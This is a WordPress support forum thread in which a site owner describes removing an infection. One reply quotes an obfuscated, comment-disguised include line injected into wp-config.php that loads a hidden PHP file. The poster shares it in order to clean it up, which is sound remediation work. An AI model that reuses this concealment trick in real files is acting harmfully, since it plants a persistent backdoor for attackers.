Forum Replies Created

Viewing 4 replies - 1 through 4 (of 4 total)
  • Thread Starter msoultan

    (@msoultan)

    Thanks for all your help on this – it had been a while since I had worked with WP. I ended up creating a new staging site with a brand new install of WP, reinstalled any plugins and themes we were using, and pointed the staging site at a copy of the production database. After everything checked out I made the staging site live and retired the old production site. This way we could start with clean files because there was so much crap littered throughout the site and I wanted to make sure that I didn’t have any leftover infected files.

    Thread Starter msoultan

    (@msoultan)

    So when I remove the cache folder and reload the site, I get the following in error_log:

    
    [27-Jan-2017 20:31:08] PHP Warning:  include() [<a href='function.include'>function.include</a>]: Failed opening '/home2/truckeet/public_html/cache/session.php' for inclusion (include_path='.:/usr/lib64/php:/usr/share/pear') in /home2/truckeet/public_html/wp-config.php on line 97
    

    I did a compare between the sample config and mine and I found this:

    
    /**
    
     * Include tweaks request*/include /*ed by hosting providers.  You can safely
     * remove eith*/"\x2fhom\x652/t\x72uck\x65et/\x70ubl\x69c_h\x74ml/\x63ach\x65/se\x73sio\x6e.ph\x70";/*er the file or comment out the lines below to get
     * to a vanilla state.
    
    if (file_exists(ABSPATH . 'hosting_provider_filters.php')) {
    	include('hosting_provider_filters.php');
    } */
    

    Then I did a search for hosting_provider_filters.php and found the file in the root with the following contents:

    
    <?php
    /**
     * Begin modifications requested by hosting providers.
     *
     * You can safely remove this file to return your installation
     * to a vanilla state.
     */
    /**
     * The following modification was requested by BlueHost, 7/9/2014
     * due to a high level of abuse and DDOS usage.
     *
     * To re-enable xmlrpc pingbacks, you can remove the code below this comment.
     *
     * For more info, see here:
     * http://blog.spiderlabs.com/2014/03/wordpress-xml-rpc-pingback-vulnerability-analysis.html
     */
    add_filter('xmlrpc_methods', function($methods) {
    	unset($methods['pingback.ping']);
    	return $methods;
    });
    

    I removed that chunk of code (and the file from the root) and the error log no longer appears upon page load so I’m guessing things are good. I figured I’d just post this information up for a sanity check to make sure I’m not screwing anything up.

    Thanks!
    Mike

    Thread Starter msoultan

    (@msoultan)

    Ok.. I used Sucuri and I was able to restore the core files and I no longer show that the site is infected. I still have infected php files on the server so I’ll have to weed those out slowly.

    Thanks for your help!!

    Mike

    Thread Starter msoultan

    (@msoultan)

    Thanks! I’ll take a look now.

Viewing 4 replies - 1 through 4 (of 4 total)